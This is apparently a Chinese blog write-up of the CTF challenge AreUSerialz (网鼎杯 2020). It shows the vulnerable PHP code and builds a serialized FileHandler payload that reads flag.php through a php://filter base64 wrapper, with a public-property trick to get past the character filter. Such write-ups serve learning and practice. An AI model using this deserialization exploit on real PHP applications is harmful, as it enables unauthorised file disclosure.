• [网鼎杯 2020 青龙组]AreUSerialz


    直接得到代码

    1. include("flag.php");
    2. highlight_file(__FILE__);
    3. class FileHandler {
    4. protected $op;
    5. protected $filename;
    6. protected $content;
    7. function __construct() {
    8. $op = "1";
    9. $filename = "/tmp/tmpfile";
    10. $content = "Hello World!";
    11. $this->process();
    12. }
    13. public function process() {
    14. if($this->op == "1") {
    15. $this->write();
    16. } else if($this->op == "2") {
    17. $res = $this->read();
    18. $this->output($res);
    19. } else {
    20. $this->output("Bad Hacker!");
    21. }
    22. }
    23. private function write() {
    24. if(isset($this->filename) && isset($this->content)) {
    25. if(strlen((string)$this->content) > 100) {
    26. $this->output("Too long!");
    27. die();
    28. }
    29. $res = file_put_contents($this->filename, $this->content);
    30. if($res) $this->output("Successful!");
    31. else $this->output("Failed!");
    32. } else {
    33. $this->output("Failed!");
    34. }
    35. }
    36. private function read() {
    37. $res = "";
    38. if(isset($this->filename)) {
    39. $res = file_get_contents($this->filename);
    40. }
    41. return $res;
    42. }
    43. private function output($s) {
    44. echo "[Result]:
      "
      ;
    45. echo $s;
    46. }
    47. function __destruct() {
    48. if($this->op === "2")
    49. $this->op = "1";
    50. $this->content = "";
    51. $this->process();
    52. }
    53. }
    54. function is_valid($s) {
    55. for($i = 0; $i < strlen($s); $i++)
    56. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
    57. return false;
    58. return true;
    59. }
    60. if(isset($_GET{'str'})) {
    61. $str = (string)$_GET['str'];
    62. if(is_valid($str)) {
    63. $obj = unserialize($str);
    64. }
    65. }

    发现函数is_valid,里面的ord函数

    说明这里get传入的str值的ASCII码值在32-125之间

    再看

    这里的对于op的强类型判断等于2,我们直接让op等于数字2即可绕过,然后调用process方法

    再看process方法:

    这里对于op又是弱类型比较,当op等于2时,调用read方法

    再看read方法

    很明显,这里有file_get_contents方法,可以被我们利用

    开始构造payload

    1. class FileHandler {
    2. protected $op = 2;
    3. protected $filename = 'php://filter/convert.base64-encode/resource=flag.php';
    4. protected $content = 123;
    5. }
    6. echo serialize(new FileHandler);

    因为这里的成员都是protected类型,直接打印会出现不可见字符,所以需要url编码

    但是,前面还说到了ASCII码的要求,这里的不可见字符其实是\x00,它的ASCII为0

    知识点:PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

    修改payload为:

    1. class FileHandler {
    2. public $op = 2;
    3. public $filename = 'php://filter/convert.base64-encode/resource=flag.php';
    4. public $content = 123;
    5. }
    6. echo serialize(new FileHandler);

    然后将得到的内容进行base64解码即可得到flag

  • 相关阅读:
    数据读写:Python读写CSV文件
    C++中map和set的区别
    jquery.cookie.min.js 1.4.1版本
    基于C#的房屋租赁管理系统设计与实现
    分布式系统关注点:“熔断”以及最佳实践方法
    SSM项目【Spring MVC、MyBatis、Spring】传智健康项目,关于检查项页面问题
    C#根据DataTable中的不同值为asp:DataGrid中的不同行或单元格设置不同的颜色
    【opencv图像处理】--1. 图像,视频,鼠标,trackbar控件简单使用
    互联网上门洗衣洗鞋店小程序开发;
    springboot2.x版本集成redis说明(lettuce、redisson)
  • 原文地址:https://blog.csdn.net/Yb_140/article/details/126787425